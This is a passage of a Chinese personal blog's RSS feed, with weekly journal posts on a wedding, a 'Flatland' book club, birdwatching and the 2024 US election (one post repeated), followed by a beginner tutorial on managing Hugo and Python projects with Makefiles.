</content:encoded></item><item><title>周报34 参加婚礼、打鸟与《平面国》</title><link>https://rayepeng.net/posts/%E5%91%A8%E6%8A%A534-%E5%8F%82%E5%8A%A0%E5%A9%9A%E7%A4%BC%E6%89%93%E9%B8%9F%E4%B8%8E%E5%B9%B3%E9%9D%A2%E5%9B%BD/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E5%91%A8%E6%8A%A534-%E5%8F%82%E5%8A%A0%E5%A9%9A%E7%A4%BC%E6%89%93%E9%B8%9F%E4%B8%8E%E5%B9%B3%E9%9D%A2%E5%9B%BD/</guid><pubDate>Thu, 28 Nov 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;周报34 参加婚礼、打鸟与《平面国》&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &lt;img src=&quot;./attachments/zhoubao34.png&quot; alt=&quot;&quot; /&gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;https://open.spotify.com/track/5Lu0vv78RmKZeBPpP1N8za?si=CcoqH4GYT_2TmkZ_n_YktQ&amp;amp;context=spotify%3Aalbum%3A1Ca9JdekdlYxnlCMCtVsdR&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;出自我非常喜欢的一位歌手Mokita的作品《with you》&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;参加婚礼&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &lt;img src=&quot;./attachments/IMG_0476.JPG&quot; alt=&quot;&quot; /&gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;今年早些时候就收到了文杰的婚礼邀请，虽然在不同的部门，但在读书会的活动中我们也是并肩作战的伙伴，更让人羡慕的是，他和灯灯的爱情故事实在太过浪漫而美好&lt;/p&gt;
&lt;p&gt;还记得3月份的时候，我有幸参与了文杰精心策划的求婚活动，流程安排之细腻，心思之缜密，让我不禁感叹，这个男人，确实有他的独到之处 :joy:&lt;/p&gt;
&lt;p&gt;这是我第一次亲身体验西式的婚礼，以往只在美剧中见过这样的场景，没想到这次也能成为这浪漫场合的见证者。&lt;/p&gt;
&lt;p&gt;当文杰在婚礼上再一次追溯起他与灯灯相识的点点滴滴时，每一个细节都让人动容。从交往的第一天开始，到第一次约会，第一次看电影，第一次在雨中共撑一把伞，第一次同住一室，第一次生病时的相互照顾，第一次送花的惊喜……这些平凡的瞬间，构成了他们爱情故事中最动人的篇章。&lt;/p&gt;
&lt;p&gt;细节，往往是最能打动人心的。记得他们第一次玩桌游时，两人仿佛就有说不完的话，那种默契与节拍似乎与生俱来。还有，为了不让鼠标的声音打扰到灯灯的休息，文杰甚至选择在洗手间开辟了第二个办公场所——虽然他本可以使用一个静音鼠标的哈哈哈 :joy:&lt;/p&gt;
&lt;p&gt;衷心祝福这一对新人~，愿他们携手共度的每一天，都如同这婚礼一样，充满欢声笑语&lt;/p&gt;
&lt;p&gt;ps. 我们摄影群的小伙伴直接抛下了新郎新娘，拍下了一张非常happy的合影&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &lt;img src=&quot;./attachments/08ca0fadfc17227d59343cbacc6fb4fe.JPG&quot; alt=&quot;&quot; /&gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;平面国&lt;/p&gt;
&lt;p&gt;川哥自从读完《平面国》之后，就一直逢人推荐这本书，同时也一直计划着开一期读书会，奈何一直没有机会，总是搁浅于各种乱七八糟的事情，这次终于赶上了&lt;/p&gt;
&lt;p&gt;深圳的周末总是要跟打工人作对的，工作日晴空万里，一到周末就来台风。“这该死的台风，偏偏选在每一个的周末！”&lt;/p&gt;
&lt;p&gt;在计划这次读书会的时候，我们就打算如果早上的天气预报还显示有雨就转移到室内，但临开始前一小时还是下起了小雨，但我们这一群人无所畏惧，竹杖芒鞋，也在乎不了那么多了。&lt;/p&gt;
&lt;p&gt;万幸小雨一会就停了，雨后的空气，泥土的芬芳，雨后的阳光懒懒地投射在草坪上，我们的读书会就开始了。&lt;/p&gt;
&lt;p&gt;《平面国》这本书值得一个“神作”的头衔，难以想象在上上世纪作者就能构建出一个多维的世界，难道他真的是一个天才？:joy:&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &lt;img src=&quot;./attachments/DSC_0861.JPG&quot; alt=&quot;&quot; /&gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;雨过天晴后的夕阳总是能给人惊喜的，不信你看&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &lt;img src=&quot;./attachments/DSC_0880.JPG&quot; alt=&quot;&quot; /&gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &lt;img src=&quot;./attachments/DSC_0951.JPG&quot; alt=&quot;&quot; /&gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &lt;img src=&quot;./attachments/DSC_0988.JPG&quot; alt=&quot;&quot; /&gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;打鸟&lt;/p&gt;
&lt;p&gt;最后放一些打鸟记录吧&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &lt;img src=&quot;./attachments/DSC_0692.JPG&quot; alt=&quot;&quot; /&gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &lt;img src=&quot;./attachments/DSC_0554.JPG&quot; alt=&quot;&quot; /&gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &lt;img src=&quot;./attachments/DSC_0127.JPG&quot; alt=&quot;&quot; /&gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &lt;img src=&quot;./attachments/DSC_0686.JPG&quot; alt=&quot;&quot; /&gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &lt;img src=&quot;./attachments/DSC_0647.JPG&quot; alt=&quot;&quot; /&gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &lt;img src=&quot;./attachments/DSC_0212.JPG&quot; alt=&quot;&quot; /&gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;值得分享的记录&lt;/p&gt;
&lt;p&gt;好像也没啥太多值得分享的，欢迎join我的频道
https://t.me/RayeJourney&lt;/p&gt;
</content:encoded></item><item><title>周报33 立冬</title><link>https://rayepeng.net/posts/%E5%91%A8%E6%8A%A533-%E7%AB%8B%E5%86%AC-copy/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E5%91%A8%E6%8A%A533-%E7%AB%8B%E5%86%AC-copy/</guid><pubDate>Mon, 11 Nov 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;周报33 立冬&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeicaextrgdewcir7crl53rsxx54vikyilv5nfvtbcjgidu22midrym.png&quot; alt=&quot;zhoubao33&quot; /&gt;&lt;/p&gt;
&lt;p&gt;https://open.spotify.com/track/0j2l3sf15o9vczIATwA3Xr?si=ZNKbDRK9Td6-MM41yOCJEw&amp;amp;context=spotify%3Aalbum%3A653YWJ1EZLWEvUdE6Kc8WL&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;出自我非常喜欢的一位歌手Jeremy Zucker，今年11月发布最新的专辑 《brent iii》&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;具体的生活细节永远是比较平淡的，但是蕴藏在其中又有一些惊喜。它们可能闪现与一首与你灵魂共振的歌曲，闪现于一两句书中的摘录，闪现于一段视频中。&lt;/p&gt;
&lt;p&gt;如果有一个观察者拿着放大镜仔细观察一个人一生的每一0.000000...001秒钟（假设有这样一个时间单位），注意我说的时间其实也是可以观察的，因为它不过就是类似长度的一个单位罢了。&lt;/p&gt;
&lt;p&gt;它其实会发现人是根本没有动的，想想“飞矢不动”理论吧。这样的工作也太无聊了吧，还不如把这个人晾在一边，等想起来了再看看。&lt;/p&gt;
&lt;p&gt;这样的观察才是有意思的，那么这么说，是不是连续不间断的人生其实没有什么特殊的趣味呢？只有片段化的，离散的，才是最值得铭刻的。&lt;/p&gt;
&lt;p&gt;如果离散化的人生也有一个最小不可分割的计量单位，那是什么呢？&lt;/p&gt;
&lt;p&gt;ps. 11月7日立冬了，刚好二十多年前一个人出生了&lt;/p&gt;
&lt;p&gt;是为本周报序&lt;/p&gt;
&lt;p&gt;付航牛逼！&lt;/p&gt;
&lt;p&gt;付航最后一期的视频，第二次看确实会觉得很感人，也无外乎评委们及现场观众都是又哭又笑的&lt;/p&gt;
&lt;p&gt;我第一遍看的时候，其实并不能理解为什么这样一个长得像”猴“的人，略显浮夸的表演，能拿下冠军&lt;/p&gt;
&lt;p&gt;但当我把决赛每位选手都看完之后，尤其付航前一场，小鹿的表演可以说是有些冷场，付航面临的的难度更加可想而知&lt;/p&gt;
&lt;p&gt;但他还是出色的完成了，凭借他优秀的文本，对于悲喜剧融合的艺术&lt;/p&gt;
&lt;p&gt;他开场的时候就说到，这是喜剧之王，又不是悲剧之王&lt;/p&gt;
&lt;p&gt;但他的演绎中，我能感受到悲喜剧本就是一体的，尤其他讲到他的女朋友时：&lt;/p&gt;
&lt;p&gt;”你还记得我说过这些话吗“&lt;/p&gt;
&lt;p&gt;”哎呀说这些干嘛，怪恶心的“，”不过付航你要记住，早点回来，我在家里等你“&lt;/p&gt;
&lt;p&gt;我愿称之为对人类感情描述的最佳文本了&lt;/p&gt;
&lt;p&gt;参见懂王&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;抛开大立场，特朗普真是大丈夫当如是，当年白宫晚宴被嘲讽，素人打穿希拉里。4年前光环被斩尽，随后而来的嘲笑、污蔑、栽赃、刺杀，78岁子弹擦伤仍然高呼战斗，美国巅峰时期那代人的精气神真的在他身上体现的淋漓尽致。这老头越是逆境越是顽强，活到这地步人真的无遗憾了。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreia3szhncnoa76l6vmymhemzjmfmpzsnitznlpz3y32ackvrigu7ua.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;美国大选最后投票定格在了312:226，懂王拿下了所有摇摆州，意料之外，情理之中了。&lt;/p&gt;
&lt;p&gt;坊间基本都在说，懂王这次可以说是大赢特赢，立法、司法、行政三权基本都掌握在自己人手里，完全可以登基加冕称帝了。&lt;/p&gt;
&lt;p&gt;今年不知道为什么额外关注大选，尤其是拜登退出，哈里斯接任后，美国大选相关的视频几乎是一个不落地在刷。&lt;/p&gt;
&lt;p&gt;选举前，从哈里斯和特朗普的种种表现来看，我都是几乎无条件相信懂王会胜选了（除非民主党搞一些小手段）&lt;/p&gt;
&lt;p&gt;真的非常讨厌民主党，那一套歪曲的政治正确理论，怎么都无法洗清楚，懂王的回归可以说是挽救了美国的命运（奇怪为啥我这么高兴哈哈哈，但不管怎样中国一定是最后的赢家）&lt;/p&gt;
&lt;p&gt;最近看书，有个作者提出了一条比较有意思的理论：&lt;/p&gt;
&lt;p&gt;在中国，基本都是对人不对事的，那些当官的，但凡涉及到一点政治黑点，基本就走不下去了，不止是官员，连我们普通人也时刻生活在这样的压力之下，但凡有一些在旁人眼中看起来“出格”的动作，就会“社死”&lt;/p&gt;
&lt;p&gt;生活在集体社会中，免不了时时刻刻要和别人打交道，不管现在互联网公司怎么强调要“对事不对人”，但社交的压力其实一直都存在。&lt;/p&gt;
&lt;p&gt;反观在西方，是经典的“对事不对人”，总统候选人可以被判刑，有政治黑点的人照样可以继续他的政治生涯，普通人则更加不在乎别人的看法。&lt;/p&gt;
&lt;p&gt;尽管现在大城市中的我们，逐渐演化出原子化的个人状态，可是你所在的公司、你所在的社群、都是你的压力来源。&lt;/p&gt;
&lt;p&gt;每当一个吃瓜的pdf在微信群传播，我总是在想，这背后的人到底要承担多大的压力，要有多强大的内心，才能抵抗得住这背后无数双眼睛的贪婪目光。&lt;/p&gt;
&lt;p&gt;扯远了，庆祝下懂王，也祝福那些买了川大智胜股票的人吧哈哈。&lt;/p&gt;
&lt;p&gt;一些值得分享的事物&lt;/p&gt;
&lt;p&gt;6点半的深圳，蓝色的天，残留的路灯，远处的春笋，感觉还挺有意境&lt;/p&gt;
&lt;p&gt;&amp;lt;img width =&quot;300&quot; src=&quot;./attachments/bafybeiatnb2gfmiyi5cymaq65akv6raqdzwbquh5jzudbbzaqfad362uhm.jpeg&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;追不到的晚霞（in 前海石公园）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeigb5qxnua5uveovwu7fqydrqomywdy4wirzv7ugxg4aozdh5sqvtq.jpeg&quot; alt=&quot;IMG_0334&quot; /&gt;&lt;/p&gt;
&lt;p&gt;打车的时候偶然发现后排座位也有这样一个后视镜，感觉非常有用，这样每次下车的时候就不用提心吊胆后面有没有车或者人来了，建议普及。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;感觉很多事情就是这样，靠贴标语、喊口号，其实比不上真正的实物有用&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;img src=&quot;./attachments/bafkreidpisvq76bemdonbnccz5dl4gw6bt4asa4nk4kuqtsz3usucshfpa.png&quot; width=&quot;300&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;书音播&lt;/p&gt;
&lt;p&gt;动漫：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;《双城之战》太好看liao~，可恨我第一季都没看完，先恶补一段时间&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;音乐：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Jeremy Zucker 最新的专辑 《brent iii》 非常推荐，不插电的风格，吉他弹唱，恰到好处的男女声&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;播客：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;三联《拼命寻找旷野的年轻人，却正在丢失“附近”？》https://www.xiaoyuzhoufm.com/episode/671b78f244ae79002c038667?utm_source=rss&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;摘录的一些金句观点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;落叶作为秋天最美的一种风景，为什么没办法长久地被人看到呢&lt;/li&gt;
&lt;li&gt;有点好笑，我们生活在都市里，却缺少了对自然的敏感，越来越“钝感力”哈哈哈&lt;/li&gt;
&lt;li&gt;互联网只会加速某种趋势，而不是创造某种趋势，不要让互联网背锅&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;更多分享可以加入我的频道：https://t.me/RayeJourney&lt;/p&gt;
</content:encoded></item><item><title>周报33 立冬</title><link>https://rayepeng.net/posts/%E5%91%A8%E6%8A%A533-%E7%AB%8B%E5%86%AC/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E5%91%A8%E6%8A%A533-%E7%AB%8B%E5%86%AC/</guid><pubDate>Mon, 11 Nov 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;周报33 立冬&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeicaextrgdewcir7crl53rsxx54vikyilv5nfvtbcjgidu22midrym.png&quot; alt=&quot;zhoubao33&quot; /&gt;&lt;/p&gt;
&lt;p&gt;https://open.spotify.com/track/0j2l3sf15o9vczIATwA3Xr?si=ZNKbDRK9Td6-MM41yOCJEw&amp;amp;context=spotify%3Aalbum%3A653YWJ1EZLWEvUdE6Kc8WL&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;出自我非常喜欢的一位歌手Jeremy Zucker，今年11月发布最新的专辑 《brent iii》&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;具体的生活细节永远是比较平淡的，但是蕴藏在其中又有一些惊喜。它们可能闪现与一首与你灵魂共振的歌曲，闪现于一两句书中的摘录，闪现于一段视频中。&lt;/p&gt;
&lt;p&gt;如果有一个观察者拿着放大镜仔细观察一个人一生的每一0.000000...001秒钟（假设有这样一个时间单位），注意我说的时间其实也是可以观察的，因为它不过就是类似长度的一个单位罢了。&lt;/p&gt;
&lt;p&gt;它其实会发现人是根本没有动的，想想“飞矢不动”理论吧。这样的工作也太无聊了吧，还不如把这个人晾在一边，等想起来了再看看。&lt;/p&gt;
&lt;p&gt;这样的观察才是有意思的，那么这么说，是不是连续不间断的人生其实没有什么特殊的趣味呢？只有片段化的，离散的，才是最值得铭刻的。&lt;/p&gt;
&lt;p&gt;如果离散化的人生也有一个最小不可分割的计量单位，那是什么呢？&lt;/p&gt;
&lt;p&gt;ps. 11月7日立冬了，刚好二十多年前一个人出生了&lt;/p&gt;
&lt;p&gt;是为本周报序&lt;/p&gt;
&lt;p&gt;付航牛逼！&lt;/p&gt;
&lt;p&gt;付航最后一期的视频，第二次看确实会觉得很感人，也无外乎评委们及现场观众都是又哭又笑的&lt;/p&gt;
&lt;p&gt;我第一遍看的时候，其实并不能理解为什么这样一个长得像”猴“的人，略显浮夸的表演，能拿下冠军&lt;/p&gt;
&lt;p&gt;但当我把决赛每位选手都看完之后，尤其付航前一场，小鹿的表演可以说是有些冷场，付航面临的的难度更加可想而知&lt;/p&gt;
&lt;p&gt;但他还是出色的完成了，凭借他优秀的文本，对于悲喜剧融合的艺术&lt;/p&gt;
&lt;p&gt;他开场的时候就说到，这是喜剧之王，又不是悲剧之王&lt;/p&gt;
&lt;p&gt;但他的演绎中，我能感受到悲喜剧本就是一体的，尤其他讲到他的女朋友时：&lt;/p&gt;
&lt;p&gt;”你还记得我说过这些话吗“&lt;/p&gt;
&lt;p&gt;”哎呀说这些干嘛，怪恶心的“，”不过付航你要记住，早点回来，我在家里等你“&lt;/p&gt;
&lt;p&gt;我愿称之为对人类感情描述的最佳文本了&lt;/p&gt;
&lt;p&gt;参见懂王&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;抛开大立场，特朗普真是大丈夫当如是，当年白宫晚宴被嘲讽，素人打穿希拉里。4年前光环被斩尽，随后而来的嘲笑、污蔑、栽赃、刺杀，78岁子弹擦伤仍然高呼战斗，美国巅峰时期那代人的精气神真的在他身上体现的淋漓尽致。这老头越是逆境越是顽强，活到这地步人真的无遗憾了。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreia3szhncnoa76l6vmymhemzjmfmpzsnitznlpz3y32ackvrigu7ua.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;美国大选最后投票定格在了312:226，懂王拿下了所有摇摆州，意料之外，情理之中了。&lt;/p&gt;
&lt;p&gt;坊间基本都在说，懂王这次可以说是大赢特赢，立法、司法、行政三权基本都掌握在自己人手里，完全可以登基加冕称帝了。&lt;/p&gt;
&lt;p&gt;今年不知道为什么额外关注大选，尤其是拜登退出，哈里斯接任后，美国大选相关的视频几乎是一个不落地在刷。&lt;/p&gt;
&lt;p&gt;选举前，从哈里斯和特朗普的种种表现来看，我都是几乎无条件相信懂王会胜选了（除非民主党搞一些小手段）&lt;/p&gt;
&lt;p&gt;真的非常讨厌民主党，那一套歪曲的政治正确理论，怎么都无法洗清楚，懂王的回归可以说是挽救了美国的命运（奇怪为啥我这么高兴哈哈哈，但不管怎样中国一定是最后的赢家）&lt;/p&gt;
&lt;p&gt;最近看书，有个作者提出了一条比较有意思的理论：&lt;/p&gt;
&lt;p&gt;在中国，基本都是对人不对事的，那些当官的，但凡涉及到一点政治黑点，基本就走不下去了，不止是官员，连我们普通人也时刻生活在这样的压力之下，但凡有一些在旁人眼中看起来“出格”的动作，就会“社死”&lt;/p&gt;
&lt;p&gt;生活在集体社会中，免不了时时刻刻要和别人打交道，不管现在互联网公司怎么强调要“对事不对人”，但社交的压力其实一直都存在。&lt;/p&gt;
&lt;p&gt;反观在西方，是经典的“对事不对人”，总统候选人可以被判刑，有政治黑点的人照样可以继续他的政治生涯，普通人则更加不在乎别人的看法。&lt;/p&gt;
&lt;p&gt;尽管现在大城市中的我们，逐渐演化出原子化的个人状态，可是你所在的公司、你所在的社群、都是你的压力来源。&lt;/p&gt;
&lt;p&gt;每当一个吃瓜的pdf在微信群传播，我总是在想，这背后的人到底要承担多大的压力，要有多强大的内心，才能抵抗得住这背后无数双眼睛的贪婪目光。&lt;/p&gt;
&lt;p&gt;扯远了，庆祝下懂王，也祝福那些买了川大智胜股票的人吧哈哈。&lt;/p&gt;
&lt;p&gt;一些值得分享的事物&lt;/p&gt;
&lt;p&gt;6点半的深圳，蓝色的天，残留的路灯，远处的春笋，感觉还挺有意境&lt;/p&gt;
&lt;p&gt;&amp;lt;img width =&quot;300&quot; src=&quot;./attachments/bafybeiatnb2gfmiyi5cymaq65akv6raqdzwbquh5jzudbbzaqfad362uhm.jpeg&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;追不到的晚霞（in 前海石公园）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeigb5qxnua5uveovwu7fqydrqomywdy4wirzv7ugxg4aozdh5sqvtq.jpeg&quot; alt=&quot;IMG_0334&quot; /&gt;&lt;/p&gt;
&lt;p&gt;打车的时候偶然发现后排座位也有这样一个后视镜，感觉非常有用，这样每次下车的时候就不用提心吊胆后面有没有车或者人来了，建议普及。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;感觉很多事情就是这样，靠贴标语、喊口号，其实比不上真正的实物有用&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;img src=&quot;./attachments/bafkreidpisvq76bemdonbnccz5dl4gw6bt4asa4nk4kuqtsz3usucshfpa.png&quot; width=&quot;300&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;书音播&lt;/p&gt;
&lt;p&gt;动漫：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;《双城之战》太好看liao~，可恨我第一季都没看完，先恶补一段时间&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;音乐：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Jeremy Zucker 最新的专辑 《brent iii》 非常推荐，不插电的风格，吉他弹唱，恰到好处的男女声&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;播客：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;三联《拼命寻找旷野的年轻人，却正在丢失“附近”？》https://www.xiaoyuzhoufm.com/episode/671b78f244ae79002c038667?utm_source=rss&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;摘录的一些金句观点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;落叶作为秋天最美的一种风景，为什么没办法长久地被人看到呢&lt;/li&gt;
&lt;li&gt;有点好笑，我们生活在都市里，却缺少了对自然的敏感，越来越“钝感力”哈哈哈&lt;/li&gt;
&lt;li&gt;互联网只会加速某种趋势，而不是创造某种趋势，不要让互联网背锅&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;更多分享可以加入我的频道：https://t.me/RayeJourney&lt;/p&gt;
</content:encoded></item><item><title>学习使用Makefile来管理项目</title><link>https://rayepeng.net/posts/%E5%AD%A6%E4%B9%A0%E4%BD%BF%E7%94%A8makefile%E6%9D%A5%E7%AE%A1%E7%90%86%E9%A1%B9%E7%9B%AE/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E5%AD%A6%E4%B9%A0%E4%BD%BF%E7%94%A8makefile%E6%9D%A5%E7%AE%A1%E7%90%86%E9%A1%B9%E7%9B%AE/</guid><pubDate>Mon, 11 Nov 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;学习使用Makefile来管理项目&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreielcl72bzqkclihhh4dohq6yrg5cb6l5wekpij5a4jttnqclnxhnq.png&quot; alt=&quot;Group 4&quot; /&gt;&lt;/p&gt;
&lt;p&gt;一直以为Makefile是独属于C++项目的，看到这个文件就比较头大，因为少不了需要执行一堆make命令来等待编译链接。&lt;/p&gt;
&lt;p&gt;不过最近才了解到，make命令其实并没有那么神秘，相反，它可以有效地组织开发项目中会使用到的各种命令、环境变量、shell命令等。&lt;/p&gt;
&lt;p&gt;除此之外，Makefile的一大好处就是可以配置一些自动化的前置步骤，比如python项目的pip install， node项目的npm install等&lt;/p&gt;
&lt;p&gt;最后，Makefile还可以依赖本地的文件，如果文件没有更新，则与之相应的任务并不会执行，有点类似于本地的CI了&lt;/p&gt;
&lt;p&gt;接下来就认识一下Makefile的简单编写以及实例吧&lt;/p&gt;
&lt;p&gt;Makefile的基础语法&lt;/p&gt;
&lt;p&gt;.PHONY&lt;/p&gt;
&lt;p&gt;因为Makefile的设计初衷其实是监控本地的文件是否有更新，再去触发一系列动作，所以单纯的shell命令执行得使用.PHONY（虚假）来实现，比如&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dev:
	@echo &quot;Hello, world!&quot;
.PHONY: dev
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;依赖&lt;/p&gt;
&lt;p&gt;Makefile是分步骤进行的，每一个步骤都会有其前置任务，其写法一般是：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;target1 [target2 ...]: [pre-req1 pre-req2 pre-req3 ...]
    [recipes
    ...]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最简单的举例，比如我们想执行一个next.js项目的本地预览，其前置条件必须是已经安装了对应的dependences，那么就可以这样写：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dev: node_modules  开启本地服务
	@./node_modules/.bin/next dev
.PHONY: dev

node_modules: package.json
	@yarn install
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里就构成了一个依赖的执行顺序：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;执行 make dev，会检查前置条件 node_modules（注意这是一个步骤的命名）&lt;/li&gt;
&lt;li&gt;node_modules步骤依赖于package.json，即首先会执行一次 yarn install，后续如果package.json如果更新了才会执行&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;根据上述简单的示例就可以看到，Makefile可以让我们清晰有序地管理一些常见的开发步骤，免去诸如修改package.json但是忘记执行yarn install的“悲剧”&lt;/p&gt;
&lt;p&gt;帮助文档&lt;/p&gt;
&lt;p&gt;可以看到在上面的示例中，有通过 `` 来编写注释&lt;/p&gt;
&lt;p&gt;此时如果在Makefile中加入下面这段：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;help:  Show this help
	@echo &quot;\nSpecify a command. The choices are:\n&quot;
	@grep -E &apos;^[0-9a-zA-Z_-]+:.*? .*$$&apos; $(MAKEFILE_LIST) | awk &apos;BEGIN {FS = &quot;:.*? &quot;}; {printf &quot;  \033[0;36m%-12s\033[m %s\n&quot;, $$1, $$2}&apos;
	@echo &quot;&quot;
.PHONY: help
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;就可以自动生成注释了，即输入 make help 自动打印帮助文档，是不是非常神奇呢hh&lt;/p&gt;
&lt;p&gt;简单示例：使用Makefile来管理你的hugo博客&lt;/p&gt;
&lt;p&gt;hugo管理博客有几个最简单的命令，如开启服务器，生成站点静态文件等，我们可以将其都放在一个Makefile中&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;all: help  默认打开帮助文档


serve:  启动服务器
	@echo &quot;Starting Hugo server...&quot;
	hugo server

build:  构建站点
	@echo &quot;Building the site...&quot;
	hugo 

clean:  清理生成的文件
	@echo &quot;Cleaning up the public directory...&quot;
	rm -rf public/

help:  Show this help
	@echo &quot;\nSpecify a command. The choices are:\n&quot;
	@grep -E &apos;^[0-9a-zA-Z_-]+:.*? .*$$&apos; $(MAKEFILE_LIST) | awk &apos;BEGIN {FS = &quot;:.*? &quot;}; {printf &quot;  \033[0;36m%-12s\033[m %s\n&quot;, $$1, $$2}&apos;
	@echo &quot;&quot;

.PHONY: all serve build clean help
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;默认的命令 &lt;code&gt;all&lt;/code&gt; 就是显示帮助文档，而帮助文档的生成只需要写清楚注释即可自动完成，现在输入make命令的效果如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$:~/develop$ make

Specify a command. The choices are:

  all          默认打开帮助文档
  serve        启动服务器
  build        构建站点
  clean        清理生成的文件
  help         Show this help
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当然这里只是最简单的展示，你还可以根据需要添加对应的依赖文件，以及 new post的操作也都是可以集成进来的。&lt;/p&gt;
&lt;p&gt;一步步使用Makefile来管理python项目&lt;/p&gt;
&lt;p&gt;简单版本
首先，假设我们的python项目入口为app.py，那么我们最终执行的目标就是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;run:  记得加注释，可以自动生成帮助文档
  python app.py
.PHONY run  因为并没有依赖文件，所以需要使用.PHONY
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其次，python肯定有前置依赖需要安装，一般依赖都会写在 requirements.txt，于是我们有&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;setup: requirements.txt
    pip install -r requirements.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当然，一般还会补充一个clean的命令，于是有&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;clean:
    rm -rf __pycache__
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;进阶版本&lt;/p&gt;
&lt;p&gt;由于每个人电脑上本地的python环境变量都不同，当然这个也可以用docker来解决，不过python本身提供了venv这种更轻量级的解决方案，于是可以&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python3 -m venv venv
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;-m venv代表使用venv命令，创建一个虚拟环境，位于venv目录&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;此时安装依赖就可以使用&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./venv/bin/pip install -r requirements.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;因为此时pip是位于 ./venv/bin/ 目录下的&lt;/p&gt;
&lt;/blockquote&gt;
